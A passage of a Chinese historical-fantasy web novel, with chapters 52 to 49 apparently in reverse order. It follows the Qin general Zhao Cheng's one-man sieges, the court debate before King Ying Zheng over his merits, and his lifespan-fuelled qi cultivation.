“咱们冲!”
“随将军冲阵!怎么还不下令?”
“诶?将军怎么自己去了?”
“不是,要一个人攻城吗,这次不带我们啊?”
“额的娘嘞,一个人咋攻城啊?”
“看着看着,那可是赵将军,天上神将下凡,有啥不能攻的?”
前方数万秦军眼睁睁地看着赵诚奔出,而后方看不到的秦军则是急得抓耳挠腮,连连询问前方出了什么事情。
得知是赵诚一人冲城,瞬间更是抓耳挠腮,恨不得脖子再长一丈,好能够看到前方的景象。
而此时,宛城之上的韩军也是惊愕。
“那小子过来做什么?”
"他就一个人,可能是想劝降咱们将军。"
“开什么玩笑,劝降?当暴将军是什么?”
“在这守城的,没有软骨头,就算他说破了大天去也没用!”
众人看向暴义。
暴义看着赵诚如一道箭矢一般,迅速穿过军阵前方的空地,直奔城下。
突然大手一挥,“巨弩上弦,把他给我射下马!”
众将士一惊,“巨弩?”
“将军……”
巨弩的巨箭是重要资源,怎么能耗费在一个人身上?
暴义二话不说,直接斩了一个没有听命行动的将领。
鲜血迸溅之时,他的声音冷硬如铁。
“上弦!”
所有人吓了一跳。
城墙之上顿时弥漫起了肃杀之气,巨弩上弦的声音不断响起,剑拔弩张!
十数座巨弩调整方向,纷纷对准了下方的赵诚。
远处的秦军看到这一幕,都纷纷为赵诚提了一口气。
那巨弩看着就威能巨大,这等巨箭要是落在军阵之中,一瞬间就能将军阵冲击出一个缺口来,余威都能够压死七八个士兵!
是专门对付大股军阵用的战争利器。
然而赵诚视若无睹,依然一往无前,以极快的速度靠近着城门!
暴义眼神冷漠,静静的看着赵诚飞奔而来,直至到了射程范围。
“放!”
毫无征兆的命令,瞬间激发了十数座巨弩。
嘣!
嘣!
嘣!
一连十几道巨响传遍四方。
巨大的弩箭以势不可当之势直奔城下,覆盖了赵诚前后左右所有位置!
秦军之中传来阵阵惊呼。
这等威力,实在不像是人力能抵抗的,倒像是天威!
却见赵诚前奔之势不停,挥戟斩去。
大戟如风,横挥而出,如同银河落野。
十数支巨箭遮天蔽日,轰隆隆落下,却突有爆声如雷,眨眼之间,十数支巨箭竟接连爆碎成了齑粉!
噼里啪啦之间,巨箭炸碎漫天!
赵诚奔马一往无前,冲势丝毫不减,甚至就连胯下的马儿都没有受惊。
以迅雷之势直逼城门!
“怎么可能!?”
暴义浑身一震,双眸已经是瞪得浑圆。
这哪里是人力能够做到的事情?
韩军更是纷纷惊怖,终于明白为何将军第一时间下令,让所有巨弩一起出动,对付这个金甲小将!
这小将孤身一人,堪比千军万马!
巨箭都对付不了他,这真的是个人?
妖魔乎?
众军惊惧间。
暴义转身面向云羽,行礼肃拜,“此子神威,巨弩不能斩,请先生出手。”
云羽笑了笑,“他这是雕虫小技,且看我去摘了他的人头来。”
第52章 捷报频传却无信?秦王怅然意未舒
昌平君见王翦低着头也不看他,于是又看向廷尉李斯。
嬴政也看向廷尉李斯,“廷尉以为如何?”
廷尉,九卿之一。
罢免吕不韦之后,李斯便得到了嬴政重用和信任,主管制定秦律,将法家“重刑轻罪”理念制度化。
同时以“刑过不避大臣,赏善不遗匹夫”的理念,来制衡丞相昌平君熊启代表的楚系外戚势力。
再加上他通过法律手段保障前线粮草供应,并为军功授爵制度提供法律依据,所以与蒙武王翦等将领合作关系密切,得到军方支持,地位已不下于丞相昌平君。
值得一提的是,军功抵达咸阳,主管最终复核的廷尉,就是李斯。
李斯对着嬴政行礼,不疾不徐开口,言语之间斩钉截铁。
“大王陛下,臣自信军功核验法制足够完善,在我大秦律法,大王神威之下,无人敢,也无人能冒领军功。”
“赵诚此人有勇有谋!死间入城,在如此重军把守的城池之中,四面冲杀,如入无人之境,此为勇也!”
“易服为猎,瞒天过海,潜伏至城头之上,于两军阵前手刃敌将,此为智也。”
“可谓是勇冠三军,智兼万夫,当破格封爵,以励三军。”
昌平君懵了,不是,来的时候你也不是这么说的啊?
你不是说,这事若是假冒军功,蒙武一部,罪不容诛!
现在是什么?
破格封爵,以励三军?
啊?
昌平君见状也有些恼怒了,“法制虽严,却也架不住有人徇私,臣听闻,赵诚此人,在入伍时便与蒙武其弟蒙威有旧,更是得到蒙威赠弓。”
“如此骇人军功,不得不查啊。”
嬴政依然面无表情,看不出喜怒,“丞相想要怎么查?”
昌平君说道,“此人有没有万夫莫敌之勇,一试便知,待其班师回朝,臣愿以百名力士试之。
若其能胜,则此功属实,若其连百名力士都胜不了,这等军功必是伪作,需腰斩,夷三族,夺爵削封,鞭尸示众!”
他说一句,顿弱的心头就凉上一份。
你要夷谁的三族?
我看你是活到头了。
他低着头,根本不敢说话。
李斯则是突然说道,“臣以为不妥,军功核验,每一个步骤都符合程序,没有出格之处。只凭怀疑,就阻碍封爵,军中将士岂不寒心?”
昌平君说道,“本相何曾阻碍封爵?封爵可如常进行,只是等他回到咸阳,能不能维持这爵位,还需要看他有没有这真本事。”
嬴政轻笑睥睨,“百名力士焉能测万夫莫敌?”
“寡人闻相府有门客八百力士,其中多有楚地豪侠异士,不如以此八百门客试之,生死不论。”
昌平君闻言立刻答应下来,“臣以为可。”
嬴政点了点头,又看向廷尉李斯,“廷尉以为,此功该如何封爵?”
这军功涉及复杂,已经超出秦律许多地方,所以算是嬴政抛出来的难题。
李斯低头沉思,默默回忆秦律,思索起来。
五大夫是一个分水岭,其上便已是高爵,少有普通百姓可以升上这个位置。
依照秦律,五大夫领军破城,或斩杀普通战役敌将,便可升左庶长。
升【右庶长】则需要于关键战役中有战略级军事贡献,或指挥战役斩首过五千。
升【左更】需要统军拓土克城,或领兵野战斩首两千,攻城斩首八千。
升【中更】需要攻克更多城池,歼灭更多敌军。擒杀敌方上将军级别将领,或歼灭敌方十万以上规模的主力军团。
升【右更】需要国家级战略功绩,攻占三郡以上战略要地,开疆拓土。
升【少上造】更是需要军政复合型巨大贡献,如战后治理和制度建设。
此爵已经可以开府治事,拥有独立属官体系,要在在封地内劝课农桑,粟米增产三成以上,才算是合格。
升【大良造】,必以''定国之基''为功,主导参与国家级变法,或一战打灭敌国军事潜力,指挥灭国之战获得大胜,是军政复合型顶尖功绩才能封的爵位。
曾经的武安君白起,于伊阙之战大破魏韩联军,斩首二十四万,导致两国丧失抗秦能力,扫平秦军东进之路,便从左更升至大良造,成为国尉。
在这个时期,高于大良造的爵位很少封赏。
只有一些宗室王族有此爵位,或者封无可封的军功累积,才能更进一步。
即使是白起,升至大良造之后,又多次指挥大胜,攻占敌境,也只是被封了武安君,爵位之上并没有更进一步。
亦或者是变法的商鞅,也只是大良造一爵。
思索良久,李斯开口说道,“臣以为,若仅以秦律论:
斩将之功可升至左庶长。
毁其中枢,斩敌五千,可升至右庶长。
叶县乃是韩境咽喉之地,战略价值极高。
赵诚死间入城,孤身陷阵,破城启关,使我军不费吹灰之力夺下重城,亦算得上拓土克城,此功可再升一级。
爵至左更。”
“不过,赵诚此功超越常格,非秦律所能赅,若按此例晋升,又不太适宜。”
“或可破格封赏,以此振奋三军。”
“故臣只以秦律参考,最终封爵,还是由陛下裁定。”
嬴政笑道,“那便封为中更,赐上卿朝服,可登朝议事。”
“是!”
众人行礼称是。
嬴政看向昌平君,笑道,“拟定赐爵令这事,就交给相国了。”
昌平君总觉得嬴政的笑意里面饱含深意,却不解为何,只得领命道,“臣领命。”
昌平君回到了相府,拟定了赐爵令,刻印了爵符,传递去了阳城县。
然而不过半日。
又有军报传至咸阳,入了相府,昌平君一看之下,顿时脸色大变。
“项佗怎敢出兵援韩?!”
“援韩也就罢了,竟然被赵诚杀了,六万大军全军覆没!”
这样一来,一直在帮助周旋秦楚关系的熊启,以及秦朝内的楚国外戚就全都坐蜡了。
更让熊启不安的是,赵诚此人竟然真能杀掉项佗,就算一戟杀掉这等说法有夸大之嫌,至少赵诚也是武力强于项佗,才能够将项佗留下。
这足以说明赵诚的武力值极高。
若是以一百力士试之,恐怕还真有些危险。
但若是八百力士,加上他府上那些能人异士,项佗根本不够看。
就算是赵诚比项佗更强一些,以一人之力也敌之不过。
他唤来府上一名中年门客,这门客穿着随意,更是拎着酒壶,一脸醉意的就来见昌平君了。
昌平君不以为意,直接问道,“你比之项佗如何?”
中年醉汉挑眉嬉笑一声,“项佗?莽夫一个,不堪一击!”
昌平君笑了,“来人,赐酒!”
……
章台宫后殿之上。
嬴政冷哼一声,将军报扔在了案台之上。
“哼,楚国竟然敢在这关键时期伸手,合该他们全军覆没。。”
“幸好赵诚提前一步夺下叶县,不然后果不堪设想!”
“项氏之虎,一戟灭之,将楚援全歼在城下,不知道现在昌平君作何感想……”
嬴政原本有些气愤,但想到地方大将被赵诚斩了,楚国的援军更是全军覆没,心情又好了起来。
他翻了翻军报,没有看到蒙武的传信,不由得有些不愉。
没有信看,嬴政又看了看军报,左看右看,觉得这数目看起来实在枯燥的可憎。
于是干脆不看了,大手一挥,“唤昌平君来!”
昌平君急匆匆赶到,在大殿下面行礼之后,低着头问道,“大王唤臣何事?”
嬴政淡淡道,“军报你可看了?”
昌平君说道,“臣看了,项佗这莽夫实在可恶,竟然敢擅自出兵援韩,死有余辜!”
“幸好将军蒙武应对得当,我军大捷,将那项佗一部全歼在叶城之下!”
嬴政问道,“此战首功是谁?”
昌平君回道,“军报显示,此战首功是赵诚。
其率万余骑兵,截断楚军后路,更是阵斩项佗,使楚军群龙无首,才能全歼楚军。
其所率骑兵部,更是斩敌两万余,当为此战首功。”
嬴政想了想说道,“寡人记得,项佗此人武力不俗,号称项氏之虎,亦有破阵斩将之能,但此人不是赵诚一合之敌,可见赵诚勇武乎?”
昌平君想了想,“若军报为实,赵诚确实勇武不凡,不过项佗之名,亦有夸大之嫌,赵诚斩之,不足以证明他能一战斩敌五千余级,还须一测……”
嬴政摆了摆手,“行了,你下去吧。”
昌平君行礼告退。
次日一早,天还没亮,嬴政已经开始处理朝政。
还没处理一会儿,殿外谒者令又捧着捷报前来。
“报——”
“韩境犨城克复,蒙武军报。”
嬴政眉峰一挑,立刻放下手中案牍,“呈来。”
他有些意外地将捷报拿到手中,“相隔半日不到,又有捷报?”
“当真势如破竹。”
打开泥封,军功册之下,蒙武的军信掉落出来。
嬴政见此,脸上露出了一丝不易察觉的笑意。
这一次他没有先去看军功册,而是先拿起了蒙武的帛书传信,打开看了起来。
第51章 朕观捷报知子勇,相执簿书疑功虚
“臣察赵诚生平,呈大王陛下:
赵诚此人生而宿慧,幼而敏达。
及龀之年,群童嬉戏时,他已能代母操持农务,上山斫薪,下河渔捕,以补家计。
时里中妇孺多以其身世私议,少年曾当庭舌战群妪,词锋如刃,众妇莫能与辩,狼狈退散。
又尝与村童八人相搏,虽头破血流,犹追击至其家,为父者出而呵之,赵诚夜携刃潜入户,抵颈而叱,迫使长跪请罪。
自此闾里震服,同辈及弱冠之龄者,皆以礼相待,推为孩提之魁。
九岁时,其舅从戎归乡,得任里正,母子境遇稍纾。
未几,母张氏病殁,遗百亩户田。
十二龄童独当门户,治田事井井有条,兼习木工、瓦作、渔猎诸技,昼夜不辍而神貌愈伟。
然其禀赋异于常人,食量大若谷仓,虽躬耕力作兼舅氏周济,犹常忍饥。
年十五,为求一饭之饱,遂投军从戎。
初至县廷登籍,单手举十二石锁,力逾常伦。
蒙骜次子蒙威奇之,悉心培教。
月余间,骑射之术出神入化,能于奔马之上连射飞鸟,百无一失。
蒙威以宝弓相赠,此弓于其手中大放异彩,敌闻弓响者,无有生还,军中名此弓为"阎王令",以状其索命之威。
臣于县廷查访时,适遇军报传卒,言及赵诚,皆敬服非常,崇拜之情溢于言表,可见其军望如山……”
安静的大殿之中,只有帛书翻动的沙沙声响回荡。
嬴政低头看着帛书,脸上依然没有什么变化。
他突然抬头看向顿弱,状若无意问道,“你在阳城县时,遇到传卒简报了?”
顿弱低着头,“回大王,巧遇捷报,我军叶县大捷,军报详情不日便到。”
嬴政点了点头,“此战首功是谁?”
“回大王,还是赵诚,赵诚间入叶县,斩敌两千余,伪装猎户,登上城头,靠近韩将,将其斩于两军阵前,又横扫千军,于城头之上再斩三千余,破瓮城,启门关,大军长驱直入,轻取叶县。”
嬴政眉尾微微挑起,脸上已经出现了惊讶之意,“斩敌五千余?”
“此事为真?”
顿弱点头,“做不得假,臣听闻此事时,也大为惊奇,故而回程路上,特意派人仔细探查。
夜乱敌城有诸多间子为证。
城头斩将横扫千军,更是在军阵之前,无人不知无人不晓。”
嬴政畅快大笑,心中有句话不吐不快,却不能说,出口时变作了,“此天赐秦之国柱。”
“卿以为此子如何?”
顿弱脸色一变,连国柱都出来了,大王是真喜欢这孩子!
这还有什么好说的,拍就是了!
“此子有拔山扛鼎之雄,乃天生将星,镇则一夫当关,万夫莫开,攻则威振三军,气吞万里,可称无双国士,假以时日,必封侯拜将!”
嬴政快慰,畅快大笑,“哈哈哈,寡人得此子,如虎添翼乎?”
这么明显吗大王,你这有点考验我的演技啊。
顿弱不露分毫异色,“如虎添翼!”
嬴政挥了挥手,“好了,你下去吧,寡人还有政务要处理。”
顿弱道了一声是,缓缓退下,终于松了口气。
而嬴政则是等他走后,再次拿起了记录赵诚生平的帛书,细细看了起来。
当看到“及龀之年,群童嬉戏时,已能代母操持农务,上山斫薪,下河渔捕,以补家计”这里,他脸上坚硬的威严渐渐褪去,丝丝柔和之意爬上眼角眉梢。
再看到群妇私议,少年舌战群妪,骂的众妇狼狈鼠窜时,他又不由得摇头失笑,好像真的看到了一个小孩子叉着腰与一群妇孺对骂,骂的一群长舌妇都狼狈退走。
可当看到少年力战群童,却被其父呵斥时,嬴政长目之中,陡然爆发一股烈烈杀意,如电如雷,令人惊怖。
他想到了自己年幼时,身在异国,备受欺辱,无人能为他出头。
那等滋味,他曾亲身体会过,如今见到这一行字,种种回忆涌上心头,顿时杀意如潮。
但这杀意却又很快散去。
因为他又看到,少年半夜提刀潜入,抵着对方喉咙,吓得对方跪地求饶,也震慑了村中宵小,不再敢对他乱嚼舌头。
嬴政嘴角露出笑意,甚为欣慰,“此子类孤,能忍一时之气,待时而动,该爆发时却也绝不手软……”
看到其母病逝,赵诚十二岁便孤苦伶仃,孤弱承业,躬行百技之时,他已是微皱眉头,指尖不自觉用力攥住了帛书。
他的目光缓缓移动,在“犹常忍饥”四字之上停留许久,才继续看了下去。
好在,自“为求一饭之饱,遂投军从戎”之后,便迎来了曙光。
看到赵诚展露材力,得蒙威赏识栽培,初现头角峥嵘,技惊四座时,嬴政眉梢眼角微微地变化着,也出现了意气风发之色,似是与有荣焉。
看到赵诚毙敌,使敌军闻风丧胆,秦军自发为他的弓命名阎王令,对其狂热崇拜之时,他更是笑意盎然,隐现自豪之色。
放下了帛书,他拿起了政务案牍处理起来。
处理了半晌,却还是那一份,不由得恼怒地扔下案牍。
“叶县捷报怎么还没到?我大秦驿骑之网如此成熟,传递一个军报怎么如此之慢!”
“混账顿弱,既然遇到了传卒,怎不顺便将军报拓印一份回来?”
“来人!让顿弱去领罚,打他二十大板!”
一段时间后,顿弱趴在板床上惊疑不定,他的体魄挨上二十大板倒也没什么,只是他不知道为啥啊!?
难道大王已经知道他知道了他不该知道的事情?
这可把顿弱惊得好几天没吃好饭。
狐疑揣摩了好几日,直到叶县捷报入了咸阳宫,顿弱才明白这顿打是为什么挨的,不由得暗叹百密一疏。
实际上,他也考虑过将军报拓印回来。
但一来此举容易暴露自己揣测君心。
二来,大秦的驿骑网络自成体系,他就算是黑冰台的掌控者,也不能擅自干涉,不然嬴政若真的问责,就不是挨二十大板那么简单了。
好在当天傍晚,军报终于到了,大王脸上也有了笑容。
后殿之上。
嬴政打开军报,简单看了看就放下了。
他已经知晓此战大致经过,一些军功数目没有什么好看的,想要了解详情,还得是蒙武传来的军信描述详细。
这几日他实在好奇,赵诚到底如何勇武,才能一战杀敌五千余,使得秦军各个对其敬若神明?
摊开帛书军信,熟悉的蒙武字迹令嬴政一阵舒心。
“大王陛下:
臣蒙武顿首再拜,敢以边事奏闻。
此番攻韩,臣初行断水之策,壅滍水以困孤城。韩人恃昆阳之险、城堞之固,闭户不战。
然赵诚者,率死士二十,易服为猎,潜伏而入。
夜深之时,其于城中猎杀敌军,引韩军数千围杀。
赵诚以战养战,辗转巷战,所过之处,敌首如堕,血溅衢路。
至城中官署,独杀守卒三百,斩县尉于案前,火焚印绶,据门而守。
韩军聚兵两千环攻,矢下如雨,而赵诚孤身镇守,稳如磐石,以箭还击,箭箭封喉,积尸盈阶,斩敌近千,敌不敢前。
及至敌军溃逃,赵诚冲杀而出,孤身追杀上千人入城中,与敌方两千援军遭遇。
其且战且退,四面突围,终被围于巷间围杀。
敌军血勇,前赴后继,竟被其击杀过半,骇退而去。
及天明,赵诚易装猎户,负野登陴,伪为献食者,近韩守将。
于两军阵前,诚出其不意,剑毙守将于城楼之上。
守兵大乱,赵诚持戟,横扫千军,敌落如雨。
乃据瓮城,破悬门,启重关,臣军遂长驱直入,兵不血刃而得叶县。
该员勇冠三军,智兼万夫:
夜破官署,如虎入羊群;昼斩敌将,若鹰搏雀鸟。
单骑转战,斩级千余;断敌喉舌,溃其心腹。
此等武勇,非特秦军之冠,实乃天下罕见。
昔诸将之战,未闻有只身退敌、夺城于俄顷者。
今按军功法:“先登陷阵者,爵三级;斩首过百,拜左庶长。”
然赵诚之功,超轶常格,非旧律所能赅。
臣愚昧,不敢专断,伏望陛下特赐隆恩,以彰奇勋。
臣蒙武再拜,秦王政十六年孟冬”
看着看着,嬴政突然拍案叫绝,“彩!”
“好一个死间入城,易服为猎。”
他又想起顿弱调查赵诚生平的情报上,赵诚为了养活自己吃饱肚子,躬行百技一事。
两相对应,不由得大为感慨。
没想到,他从前所受的苦楚,竟然在今日起到了如此作用!
这孩子曾经常年打猎,他去假装猎户,又有谁看得出来?
再加上他身负万夫莫敌之勇,潜入城中,正如虎入羊群。
才能立此奇功,当真痛快!
想到两军阵前,赵诚独自潜入敌方城头之上,当着两军所有人的面,一剑斩下了韩将的头颅,嬴政一阵心神激荡。
这才是少年锋锐,意气风发啊……
正想着,殿外有脚步声匆匆而来。
“丞相昌平君求见大王!”
“廷尉李斯求见大王!”
“上将军王翦求见大王!”
“……”
嬴政此时心情大好,将蒙武的军信收好,挥手道,“进来!”
几人陆续踏入殿中,对着嬴政行礼之后,昌平君便急忙问道,“大王可看了叶县军报?”
嬴政笑道,“丞相如此着急的来见寡人,想必是被捷报惊到了?”
昌平君神色严肃,“大王,这军报实在骇人听闻,未必属实啊!”
秦国此时,以昌平君熊启为相。
熊启为楚考烈王之子、秦昭襄王外孙,兼具楚秦双重血统,且与华阳太后关系密切,是楚系外戚集团的核心人物。
这种身份使其在秦国政坛具有独特优势,既能平衡楚系势力,又能获得秦王嬴政的信任。
同时,他也利用丞相位置,协调秦楚关系,想为后续灭楚行动争取战略缓冲期。
而作为丞相,他也拥有第一时间阅览处理前线军报的权限,处理一些中等爵的批准,帮嬴政处理掉大部分的军功封爵事务。
但是叶县军报首功实在太大,也太骇人听闻,他在看完战报的第一时间,就进宫面见嬴政了。
嬴政听完昌平君的话,脸上笑容渐渐散去,“未必属实?此话何解,难不成还有人敢违反秦律假冒军功?”
昌平君拿出自己手上那一份军报,“大王且看,这赵诚年方十六,方城隘口一战杀敌二百余已是骇人听闻,但还尚在常理之内。”
“如今叶县一战,他一人转战城中,四处冲杀,焚烧官署,面对两千兵力环攻,竟能杀敌千余,又孤身追杀千人?”
“更有甚者,面对数千人围杀,他竟能反杀近半!”
“王将军就在这里,他领兵作战多年,可曾见过如此离谱之事?”
“且不说他是否能击杀两千人而不力竭,就是那些兵卒也不可能站在那里让他杀,死伤过半才堪堪溃逃?”
“这等冒领军功之举,实为大罪,蒙武已有取死之道!”
一旁的顿弱看着昌平君,脸色古怪:我看你才是已有取死之道!
哪有雷你往哪跑,不是等着挨劈吗?
嬴政面无表情看向王翦,“上将军也是如此认为?”
王翦思索片刻,又看了看一旁的顿弱,再打量了一下嬴政。
慢悠悠说道,“此事确实骇人听闻,不过却也并非全无可能,只要满足两个条件,一者,此子天赋异禀,确有万夫莫敌之勇。”
“二者,地势足够有利,且敌方轻敌之际,未能及时察觉军阵详情,导致死伤过半才溃逃。”
“不过如此猛将,确实闻所未闻,臣领兵打仗多年,从未见过如此猛将。”
昌平君睁大了眼睛看着王翦。
你刚才可不是这么说的啊?
第50章 嬴政溯探赵诚事,一纸生平映君心
叮!
一声脆响,大戟卷刃处顿时出现了一个指甲大小的缺口。
断口平滑,犹如被刀刃切割过的豆腐。
赵诚甚至都没有用力,这精铸大戟就已经破损了一小块。
“嘶……”
“我的大戟!”
他原以为如此小的力量,顶多凹陷下去一点,谁知道这元气质量如此之大,精铸大戟都轻触即溃。
这还只是以元气覆盖指尖,若是将这等元气完全爆发出来……
赵诚难以想象将是何等威势。
他见百年修炼也没有出现什么岔子,干脆直接投入千年修炼起来。
“投入一千年凝练冲脉元气。”
【开始投入寿命凝练元气。】
【第一年,你通过观星入脉之法,凝练冲脉元气,随着元气不断地凝练,你如今每一次吐纳,涌入体内的天地元气比之前多了上千倍……】
……
【第五百年,你冲脉之中的雾态元气已经化作缕状,占据了冲脉的一成……】
……
【第一千年,水磨功夫中,你冲脉之中的雾态元气已经盈满了冲脉的两成……】
“才两成?”
赵诚睁开眼,感觉这一千年吸收的天地元气已经是数之无尽,但是凝练下来,才只有冲脉两成?
好在剩余寿命还有四万八千多年,按照这个规律,填满冲脉倒也轻松。
想着,赵诚再次投入三千年进去。
【开始投入寿命凝练元气。】
【第一年,你继续凝练冲脉元气,雾状元气在不断地增加……】
……
【第三千年,经过数千年的吸收与凝练,你体内的冲脉之中,已经盈满了淡淡雾状的天地元气,你突然感觉到了冲脉与其他经脉交汇处,有一些位置非常关键,你认为这就是窍穴,你开始摸索窍穴……】
……
“再投入三千年修炼。”
【继续投入寿命修炼。】
【第三千九百五十三年,雾状元气越发凝练,在不断的循环中,你察觉到冲脉与任脉交会的气海穴有所松动,你开始引导元气冲击气海穴……】
……
【第四千三百七十五年,你的元气冲开了气海穴,大量雾状元气涌入气海穴之中,存蓄在气海穴的同时,形成了元气漩涡。
元气漩涡自行运转,无时无刻不在快速吸收天地元气,即使你没有吐纳,它依然会以极快的速度吸收天地元气,你吸收天地元气的速度再次提升千倍。
同时你发现气海穴之中元气凝练速度变得非常快,元气传输速度,以及爆发力都有大幅度提升。
又因为气海穴与任脉交汇,所以凝练后的元气可以直达任脉,贯通上下。】
……
【第五千六百八十五年,你气海穴的元气漩涡飞快地凝练着雾状元气,元气由淡雾状逐渐化作了浓雾状……】
……
【第六千年,你发现元气质量越高,越容易在运行之中冲击到窍穴,冲开气海穴之后,在短短几年时间之内,你依次感受到了数个窍穴的松动,你开始冲击其他窍穴……】
此时,外界。
赵诚感觉到肚脐下方一寸半的位置,原本完全感知不到的气海穴突然之间无限扩张。
盈满冲脉的大量雾状元气涌入其中,化作了元气漩涡,而后急速运转起来。
明明在外界看来,气海穴只是指尖大小的一个位置,但是却能够存蓄海量的天地元气,那凝练数千年的冲脉元气尽数进入其中,也不过占据一角。
而且,这元气漩涡自行运转,根本不需要他进行吐纳或者操纵,每时每刻都在自主吸收天地元气。
这种吸收的效率,比他吐纳时候吸收的效率还要快得多。
其中元气凝练速度也是极快,此时其中浓雾状的元气已经比之前强大了不知道多少倍。
这种全自动化极速吸收天地元气的速度,让赵诚感觉自己从抡大锤时期,踏入到了蒸汽机时代,成功地解放了生产力。
这样的窍穴,越多越好!
一个窍穴自动吸收凝练元气一日,快要抵得上他之前吐纳吸收一个月了,这还是元气经过凝练之后的吐纳速度。
若是再来几个窍穴,他就算不进行吐纳,也可以实现自动化挂机修炼,还有比这更舒服的事情吗?
赵诚继续投入了三千年。
【开始投入寿命冲击窍穴。】
【第一年,你气海穴元气漩涡自行运转,雾状元气在不断地增加的同时,又不断地凝练成更浓的雾态,冲出窍穴,顺着冲脉冲击其他松动的窍穴……】
……
【第三十年,你凭借元气漩涡之中的浓雾状元气,轻松冲开了冲脉交汇少阴经的四满穴,浓雾状元气进入四满穴,形成新的元气漩涡,你的修炼效率再次翻倍……】
……
【第五十年,你冲开了冲脉交汇少阴经的大赫穴,修炼效率提升!】
……
【第一百年,你接连冲开了冲脉交汇少阴经的中注穴、肓俞穴、横骨穴,修炼效率大幅提升!】
……
【第一百一十年,你冲开了冲脉交汇阳明经的气冲穴,修炼效率小幅提升……】
……
【第一百三十年,你再次冲开了冲脉与任脉交汇的两个大穴,关元穴和中极穴都形成了新的元气漩涡。
至此,你冲脉与其他经脉交汇的十个穴位全部形成了自动修炼的元气漩涡,你的修炼速度与之前天壤之别,自动修炼一日抵过去数年吐纳苦修。】
……
【第一千年,在元气漩涡不断的大量吸收天地元气之间,你的气海穴终于被盈满了浓雾状的元气,当浓雾状的元气凝练到极致,诞生了第一滴玉液般的真元……】
……
【第两千年,你的其他十个大窍相继盈满了元气,并将元气凝练到了极致,凝结出了玉液真元……】
……
【第三千年,冲脉十窍都存蓄了少量的液状真元,少的占据半成窍穴,多的则已经占据了三成窍穴】
【推演结束。】
【你的寿元增加一千年。】
赵诚睁开眼睛的一瞬间,体内冲脉十窍之中,顿时传来海啸一般的震荡,一道无形气环以他为中心向着四面震荡开去,将大帐之中的大量物品全都撞飞。
真元如龙,汹涌回荡在体内。
元气漩涡极速运转之间,无尽天地元气蜂拥而至,真元瞬间就可在赵诚四肢百骸之间循环无数个来回。
“真元……”
赵诚感受着体内的变化,已经无法形容当下这种感觉。
十个大窍,如今就像是十个太阳,在他体内提供着无尽的能量。
他拿起大戟,真元自然涌出流转在手臂之间,向着空气之中劈砍而下。
嘶!
好似撕裂了空气一般,一道罡风顺着戟刃延伸开去,在地面上凭空斩出了一道不知道多深的口子,延伸一丈有余。
而大戟的戟杆,竟然传来丝丝微微的咔嚓之声,而后突然裂纹弥补,彻底碎裂开来。
赵诚愕然,这只是他随手一击。
精铸大戟却已经承受不住了。
“罢了,先锻造一柄宝戟吧。”
想着,赵诚消耗一万年寿命,直接锻造了一柄宝戟。
宝戟入手,顿时就能够感觉到与精铸大戟的不同。
虽然不如方天画戟那等神兵威武霸烈。
但是也有云纹密布,光华流转,削铁如泥更是不在话下。
随后,赵诚又消耗七千年修炼,让十个大窍全部盈满玉液真元。
举手投足,都有风雷之音,可随手斩杀龙象!
翌日,秦军开拔,攻向宛城。
赵诚持戟登上城头,遥望宛城方向,强风猎猎,撞击在鎏金鳞甲之上,将其发丝向后拂去,愈发英武不凡。
城下秦军遥遥注视,如见神明,士气如虹。
……
章台宫后殿。
嬴政坐于案台之后,难得的没有处理案牍,眼睛望着殿门,不知道在想些什么。
突然,他眸光一凝。
见顿弱带着数名黑冰台秘士快步走进大殿,行礼说道,“陛下,赵诚的生平背景,属下带回来了。”
嬴政面色如常,“呈上来。”
顿弱上前,将汇总成册的情报呈上。
嬴政接过情报,漫不经心地丢在案台上。
“好了,你们下去吧。”
“是。”
顿弱暗暗松了一口气,低着头想着殿外退去。
嬴政却又突然开口,“顿弱留下。”
顿弱浑身一僵,老老实实地等候在殿下。
嬴政又处理了一会其他案牍,而后打开了这份关于赵诚的情报。
“赵诚者,怀阳村里民,其母张氏,生父不明,疑似流落至怀阳村的贵族……”
嬴政一看之下,顿时眉头一皱,看着顿弱质问道,“让你查清楚生平和背景,怎么连生父都没有查清楚啊?”
顿弱如临大敌,心道来了!
送命题来了!
他跪倒在地,恭敬回答道,“臣调查时,发现这名贵族身份不凡,疑似秦国内大族之后,亦或者是军功高爵,此事处理得异常干净,毫无蛛丝马迹可循,实在是查不到了。”
嬴政静静看着顿弱,突然笑道,“你倒是聪明。”
顿弱惶恐,“臣不敢自作聪明,更不敢欺瞒大王。”
嬴政笑道,“你知道秦律严格,此事又事关贵族,怕寡人难做,所以干脆不查,是否?”
顿弱叩首,“臣不敢,陛下命臣调查,臣必鞠躬尽瘁,全力以赴,实在是力有未逮,请陛下责罚。”
嬴政暗暗松了口气,“好了,这也不怪你,谈何责罚?
当年秦国内部形势复杂,一些大族之后的私生子也并不罕见。
何况,这民女虽有罪过,却也算是为秦国生了赵诚这个猛将,也就不必追究她了。”
“至于那贵族……”
嬴政神色复杂,“隐瞒此事,恐怕也是为了报民女救命之恩,这种事情,干系不大,也就不必再查了,主要还是看着孩子的生平和性情,是否可堪大用。”
顿弱如蒙大赦,“谢陛下,不过陛下,那民女在三年之前,已经病故了。”
嬴政闻言失神了一瞬间,却又迅速恢复如常。
“这样啊……”
他没有再说话,而是低头看起了赵诚的生平。
这份生平写得很详细。
嬴政看的也很认真。
在字里行间,他仿佛看到了那个孤苦伶仃的少年在乡间野蛮生长。
他奋力劳作于田间,肆意狂奔于山野,艰难地将小小的自己养大成人,渐露头角峥嵘……
第49章 列国豪侠杀局起,赵诚冲窍凝玉液
楚国大殿之上。
楚幽王心中不安,于是问道,“诸卿可有良策击杀此人?”
“臣以为,此人武力超群,更处于敌军之中,想要杀他应该派大军,趁虚而入,将其围杀在战阵之中。”
“臣以为不妥,楚国刚刚损失六万精兵,如今再次出兵,不说秦国会有所准备,或许会中了秦国埋伏,而且一般的将领也很难将此人围杀。”
“项佗的武力众所周知,想要派兵将其围杀在军阵之中尚且不容易,此人比项佗更加勇猛,围杀他就更难了。”
“臣以为,应该发出重金悬赏令,楚地多豪侠,或可有隐世大能出手,暗杀此人。”
“臣以为,可以传信其他五国,遍邀能人异士,击杀此僚。”
“臣以为,还是大王的安危最为重要,臣听闻楚地之中,云梦泽有藏龙卧虎,其中有一位云梦子能够以气御水,施展水龙卷之术,需派人前往云梦泽,请这种隐士出山,来王宫之中,为大王坐镇……”
“……”
一个又一个大臣献出良策。
楚幽王点了点头,“那就按照诸卿所说,传信五国,遍邀豪侠,击杀此僚。”
“再去云梦泽请隐士来,坐镇王宫之中,寡人愿以上卿之礼待之!”
很快,楚国就派出使臣,进入到了其它几个国家之中,将赵诚的威胁添油加醋,传递给了各个国君。
